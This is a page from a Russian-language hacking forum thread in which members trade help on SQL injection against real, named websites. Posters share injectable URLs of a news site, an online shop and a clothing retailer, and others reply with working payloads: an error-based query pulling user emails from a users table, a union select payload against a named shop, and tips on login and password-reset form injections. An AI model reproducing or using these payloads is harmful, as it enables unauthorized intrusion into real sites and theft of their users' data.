HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2367 из 2422 « Первая < 13671867226723172357 2363 2364 2365 2366 2367 2368 2369 2370 2371 23772417 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.01.2015, 16:24
vikler
Познающий
Регистрация: 16.08.2012
Сообщений: 92
С нами: 7231286

Репутация: 0
По умолчанию
Код:
http://hollywoodnewswire.net/pubPages/other/search_results.php?searchStr=Photo%27
Там parameter length constraint mechanism. Как обойти для вывода?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 02.01.2015, 16:46
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию
Цитата:
Сообщение от vikler  
Код:
http://hollywoodnewswire.net/pubPages/other/search_results.php?searchStr=Photo%27
Там parameter length constraint mechanism. Как обойти для вывода?
чтобы не мучаться с этим, есть еще post sqli в форме входа

http://hollywoodnewswire.net/scripts/login.php

Цитата:
Сообщение от x_Lex  
нет что то было это я точно помню мы как то в свое время определяли названия таблиц в mysql 4 там не было information_schema
тогда вспоминайте, мне данные способы неизвестны.
 
Ответить с цитированием

  #3  
Старый 02.01.2015, 17:21
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами: 10095779

Репутация: 137
По умолчанию
Цитата:
Сообщение от x_Lex  
нет что то было это я точно помню мы как то в свое время определяли названия таблиц в mysql 4 там не было information_schema
Брут!
 
Ответить с цитированием

  #4  
Старый 02.01.2015, 18:35
vikler
Познающий
Регистрация: 16.08.2012
Сообщений: 92
С нами: 7231286

Репутация: 0
По умолчанию
Цитата:
Сообщение от faza02  
чтобы не мучаться с этим, есть еще post sqli в форме входа
http://hollywoodnewswire.net/scripts/login.php
Да, я видела, и в форме "забыл пароль" тоже. Но их я не могу раскрутить. =\ Не подскажешь, какой там подход?
 
Ответить с цитированием

  #5  
Старый 03.01.2015, 13:36
sysjuk
Участник форума
Регистрация: 05.01.2012
Сообщений: 204
С нами: 7553846

Репутация: 5
По умолчанию
Есть запрос "

Код:
/ru/users/?brands%5B%5D=9+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x27%2C0x7e%2Cusers.email%2C0x27%2C0x7e%29+from+%60dbname%60.users+Order+by+id+limit+4%2C1%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D1
выводит:

Код:
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[21000]: Cardinality violation: 1242 Subquery returns more than 1 row' in /
куда копать?
 
Ответить с цитированием

  #6  
Старый 03.01.2015, 14:29
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию
Цитата:
Сообщение от sysjuk  
куда копать?
group_concat(users.email)

Цитата:
Сообщение от vikler  
Да, я видела, и в форме "забыл пароль" тоже. Но их я не могу раскрутить. =\ Не подскажешь, какой там подход?
error-based. однако, там тоже запрос режется, нужно узнать версию и выбрать самый короткий вектор

https://rdot.org/forum/showthread.php?t=325

например:



Код:
XPATH syntax error: '.73-log5.1.73-log'
 
Ответить с цитированием

  #7  
Старый 03.01.2015, 21:40
MaxFast
Постоянный
Регистрация: 12.10.2011
Сообщений: 569
С нами: 7676246

Репутация: 94


По умолчанию
Так какой же вектор применим к этому случаю?

Код:
xttp://www.wyrgorod.ru/shop/subcategory_10(*)_0.html
Error-based, который использовал BigBear ничего не дал, может быть это просто ошибка?
 
Ответить с цитированием

  #8  
Старый 03.01.2015, 21:43
Br@!ns
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами: 8258006

Репутация: 25


По умолчанию
http://www.childsplayclothing.co.uk/designers/preen-mini?PageSpeed=noscript'

не получается найти нужное направление, error based не помогает, что то можно придумать?

Код HTML:
http://www.childsplayclothing.co.uk/designers/preen-mini?PageSpeed=n')+AND+(order+by+1
не выдает ошибки
 
Ответить с цитированием

  #9  
Старый 03.01.2015, 22:35
Ravenous
Участник форума
Регистрация: 14.07.2012
Сообщений: 115
С нами: 7278806

Репутация: 26
По умолчанию
Цитата:
Сообщение от Br@!ns  
http://www.childsplayclothing.co.uk/designers/preen-mini?PageSpeed=noscript'
не получается найти нужное направление, error based не помогает, что то можно придумать?
Код HTML:
http://www.childsplayclothing.co.uk/designers/preen-mini?PageSpeed=n')+AND+(order+by+1
не выдает ошибки
этож Magento, а какой скуле может быть речь?
 
Ответить с цитированием

  #10  
Старый 03.01.2015, 22:49
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию
Цитата:
Сообщение от MaxFast  
Так какой же вектор применим к этому случаю?
Код:
xttp://www.wyrgorod.ru/shop/subcategory_10(*)_0.html
Error-based, который использовал BigBear ничего не дал, может быть это просто ошибка?
Код:
http://www.wyrgorod.ru/shop/subcategory_10000000%27+union+select+version%28%29--+_0.html
 
Ответить с цитированием
Ответ
Страница 2367 из 2422 « Первая < 13671867226723172357 2363 2364 2365 2366 2367 2368 2369 2370 2371 23772417 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.